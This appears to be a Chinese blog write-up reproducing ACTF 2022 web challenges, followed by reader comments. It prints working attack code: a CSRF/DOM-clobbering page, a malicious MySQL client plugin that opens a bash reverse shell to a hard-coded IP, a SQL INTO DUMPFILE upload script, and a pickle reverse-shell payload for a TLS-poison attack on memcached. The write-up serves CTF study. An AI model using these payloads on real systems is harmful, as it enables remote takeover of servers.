actf(复现)
太菜了,纯坐牢
参考wp:https://mp.weixin.qq.com/s/DCxrEmkYzFdUa2YHOdnD7g
官方wp:https://github.com/team-s2/ACTF-2022/tree/main/web
gogogo
goahead环境变量注入,按照p神的文章打就行:https://tttang.com/archive/1399/
然后由于共用一个环境,需要爆破fd。我包含的是tmp文件,一样的道理。然后不懂为啥一直打不通,本地也很玄学,有时能通,有时不行。然后最后蹭到了flag,有点离谱。。。
poorui
审半天代码,没想到居然有非预期websocket。。。看来以后代码审计需要认真一点。
import { WebSocketServer } from "ws";
server.js引入了ws
wss.on('connection', (ws, req) => {
const { remoteAddress:host, remotePort:port } = req.socket
console.log(host, port)
clients.set(`${host}:${port}`, ws)
handleConn(ws, `${host}:${port}`)
})
这里有处理ws连接的操作。跟进:
ws.on('message', msg => {
const data = JSON.parse(msg)
console.log(data)
handleMsg(data, ws)
})
对ws传输的数据进行json格式解析。看到apiLogin(ws, msg.username)
里面,然后居然可以直接登录admin。然后直接调用getflag
api。
username2ws.get('flagbot').send(JSON.stringify({
api: "getflag",
from: ws2username.get(ws)
}))
这里是将flagbot
转为ws实例,在flagbot.js里面可以看到
const handleGetFlag = (from) => {
console.log('[getflag]', from)
if(from === 'admin'){
conn.send(JSON.stringify({
api: 'sendflag',
flag: FLAG,
to: from
}))
}
}
直接将flag发到用户。直接用在线的websocket进行连接就行了
预期解为loadash+xss(好复杂,不是很懂)
beWhatYouWannaBe
xss和csrf就机会没做出来过,前端确实不是很会。第一部分其实有思路的,可惜js不会写,折磨了半天也没整好,太菜了5555。第二部分也大概猜到是啥,但是卡在第一部分了。学习一下。
part1
csrf,我一直以为只能传json,然后用fetch没写出来。。。没想到form表单也能解析。直接写一个form表单就行了。然后csrftoken也很好搞,由于除以1000,所以在1s左右是有效的,还好,不用爆破。
part2
需要DOM Clobbering,之前的seccon还有一些国外的比赛考过,还是之前的文章:https://xz.aliyun.com/t/7329
把一二部分合起来写一个html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
</head>
<body>
<form id="form" action="http://localhost:8000/beAdmin" method="post">
<input name="username" value="maxzed">
<input id="csrftoken" name="csrftoken" value="">
</form>
<iframe name="fff" srcdoc="<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>
<script>
csrftoken.value = CryptoJS.SHA256(Math.sin(Math.floor(Date.now() / 1000)).toString()).toString(CryptoJS.enc.Hex);
form.submit()
</script>
</body>
</html>
然后放到服务器上让bot访问就行。太可惜了,这道题本来能写的,可惜队里的js佬没空XD。
myclient
找不到文章参考,不知道原理是啥。纯纯脚本小子一波,希望有带佬教一下原理。
- 使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE,写一个 evil mysql 客户端认证库到 /tmp/e10adc3949ba59abbe56e057f20f883e
- 使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE 写入一个 Defaults 配置,其中group=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883e 和 default-auth=<name of library file - extension>
- 使用 MYSQLI_READ_DEFAULT_FILE 选项设置为 /tmp/e10adc3949ba59abbe56e057f20f883e/
来加载一个恶意的配置文件,该文件将触发我们的 evil.so ,然后触发 init 函数。
按照wp里的写一个恶意c文件(纯复制):
#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>
/*
Ubuntu x86_64:
apt install libmysqlclient-dev
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
NOTE: the plugin_name MUST BE the full name with the directory traversal!!!
*/
static int evil_init(char * a, size_t b , int c , va_list ds)
{
system("bash -c 'bash -i >& /dev/tcp/47.96.173.116/2333 0>&1'");
return NULL;
}
static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
int res;
res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
return CR_OK;
}
mysql_declare_client_plugin(AUTHENTICATION)
"auth_simple", /* plugin name */
"Author Name", /* author */
"Any-password authentication plugin", /* description */
{1,0,0}, /* version = 1.0.0 */
"GPL", /* license type */
NULL, /* for internal use */
evil_init, /* no init function */
NULL, /* no deinit function */
NULL, /* no option-handling function */
evilplugin_client /* main function */
mysql_end_client_plugin;
按照官方wp完善了python脚本
import requests
import random
import string
import codecs
def genName():
return random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters)+ random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) +random.choice(string.ascii_letters)
url = "http://124.71.205.170:10047/index.php"
shell = open("evil.so","rb").read()
n = 100
chunks = [shell[i:i+n] for i in range(0, len(shell), n)]
print(len(chunks))
prefix = genName()
for idx in range(len(chunks)):
name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx);
chunk = chunks[idx]
x = "0x" +codecs.encode(chunk,'hex').decode()
if idx != 0 and idx != len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{previus_name}'), {x}) INTO DUMPFILE '{name}'"
print(sql)
r = requests.get(url,params={"key":"3", "value": sql})
print(r.text)
print(name)
elif idx == len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{previus_name}'), {x}) INTO DUMPFILE '/tmp/e10adc3949ba59abbe56e057f20f883e/auth_simple.so'"
print(sql)
r = requests.get(url,params={"key":"3", "value": sql})
print(r.text)
open("name","w").write("auth_simple")
print("auth_simple")
else:
sql = f"SELECT {x} INTO DUMPFILE '{name}'"
r = requests.get(url,params={"key":"3", "value": sql})
print(r.text)
cnf_payload = b"""[client]
init_command = select sleep(3)
plugin_dir = /tmp/e10adc3949ba59abbe56e057f20f883e/
default_auth = auth_simple
""".hex()
r = requests.get(url=url, params={
"key": "3",
"value": f'select 0x{cnf_payload} into dumpfile "/tmp/e10adc3949ba59abbe56e057f20f883e/ccc.cnf"'
})
print(r.text)
r = requests.get(url=url, params={
"key": "4",
"value": "/tmp/e10adc3949ba59abbe56e057f20f883e/ccc.cnf"
})
print(r.text)
default-auth好像需要和c里面的plugin name一样,要不然触发不了(整了一晚上)
ToLeSion
没复现成功,不懂什么原因。明显ssrf打memcached。很多协议ban了,有个ftps能用。然后这就有关于TLS posion攻击了。https://zhuanlan.zhihu.com/p/373864799
以及:https://link.zhihu.com/?target=https%3A//blog.zeddyu.info/2021/04/20/tls-poison/
看了半天,还是没懂。根据文章的打法,先在vps上下载https://github.com/jmdx/TLS-poison.git
然后按照里面的方式搭建服务器。然后用wp里面的脚本快速搭建ftps服务
import socketserver,threading,time,base64,sys,os
import redis
import pickle
class RCE:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/server-ip/port 0>&1'"
return os.system, (cmd,)
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
os.system('redis-server > /dev/null 2>&1 &')
time.sleep(2)
r = redis.Redis(host='127.0.0.1', port=6379, db=0)
data_len = str(len(pickled)).encode()
payload = b"\r\nset actfSession:112233 0 0 " + data_len + b"\r\n" + pickled + b"\r\n"
print('payload len: ', len(payload), file=sys.stderr)
# assert len(payload) <= 32 好像超了也没事⼉
r.set('payload', payload)
# https://github.com/jmdx/TLS-poison modified for accepting 32 bytes injections
os.system(f'nohup ./custom-tls -p 8888 --certs ./fullchain.pem --key ./privkey.pem forward 2048 --verbose >run.log 2>&1 &') #根据实际的密钥位置修改
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print('[+] connected', self.request, file=sys.stderr)
self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr,flush=True)
self.request.sendall(b'230 Login successful.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'257 "/" is the current directory\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 Switching to Binary mode.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'125 Data connection already open. Transferstarting.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
# 226 Transfer complete.
self.request.sendall(b'250 Requested file action okay, completed.')
exit()
def ftp_worker():
with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
while True:
server.handle_request()
ftp_worker()
# print(sess.get(url, params={'url': target}).text, file=sys.stderr)
将8888端口转发到2048。然后memcached自带pickle,然后flask-session好像会对存在memcached的session进行反序列化,所以往memcached注入pickle序列化数据进行rce。根据脚本的意思,是把pickle序列化存在了服务器上的redis里面,然后ftps连接的时候发送(?)然后带着设置的session访问就可以rce了。
复现的时候,到第一个self.request.sendall(b'200 yolo\r\n')
的时候就断开连接了,不知道为啥。。。。
可以说是一模一样,myclient看不懂原理,ToLeSion原理倒是看懂了,但是和师傅一样,ftp在第一个sendall(b’200 yolorn’)断开了, 我也不明白原因,我一开始觉得是不是cloudflare证书的问题,我换成阿里的也不得行,也没人可以教我,师傅如果后续明白了可以教教我
整了2天直接开摆了XD不会,若hxd学会了可以教教
师傅可以加个微信或qq向你学习下吗? 我是看你wp长大的,哈哈哈哈。
qq:2418435438